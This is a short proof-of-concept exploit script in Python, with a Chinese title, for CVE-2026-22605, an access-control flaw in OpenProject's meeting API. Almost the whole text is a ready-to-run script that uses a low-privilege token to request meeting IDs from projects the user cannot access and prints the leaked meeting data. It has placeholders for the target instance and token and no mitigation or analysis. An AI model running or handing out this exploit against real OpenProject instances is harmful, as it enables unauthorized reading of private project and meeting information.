CVE-2026-22605 OpenProject 会议详情访问控制漏洞

# CVE-2026-22605 PoC - OpenProject IDOR Meeting Access # This PoC demonstrates accessing meetings from projects the user has no access to import requests import json TARGET_URL = "https://vulnerable-openproject-instance.com" ATTACKER_TOKEN = "your_low_privilege_user_token" # User with View Meetings permission on any project TARGET_MEETING_ID = 12345 # Meeting ID from a project the attacker has no access to def exploit_meeting_access(): """ Exploit CVE-2026-22605: IDOR in OpenProject meeting access control Allows users with View Meetings permission to access meetings from inaccessible projects """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Try to access meeting details directly using meeting ID # The vulnerable endpoint doesn't properly verify project access endpoint = f"{TARGET_URL}/api/v3/meetings/{TARGET_MEETING_ID}" print(f"[*] Attempting to access meeting ID: {TARGET_MEETING_ID}") print(f"[*] Target endpoint: {endpoint}") response = requests.get(endpoint, headers=headers) if response.status_code == 200: meeting_data = response.json() print("[+] SUCCESS: Accessed meeting details from inaccessible project!") print(f"[+] Meeting Title: {meeting_data.get('title', 'N/A')}") print(f"[+] Project ID: {meeting_data.get('project', {}).get('id', 'N/A')}") print(f"[+] Full response: {json.dumps(meeting_data, indent=2)}") return True elif response.status_code == 403: print("[-] Access denied - target may be patched or token invalid") return False else: print(f"[-] Unexpected response: {response.status_code}") return False if __name__ == "__main__": exploit_meeting_access()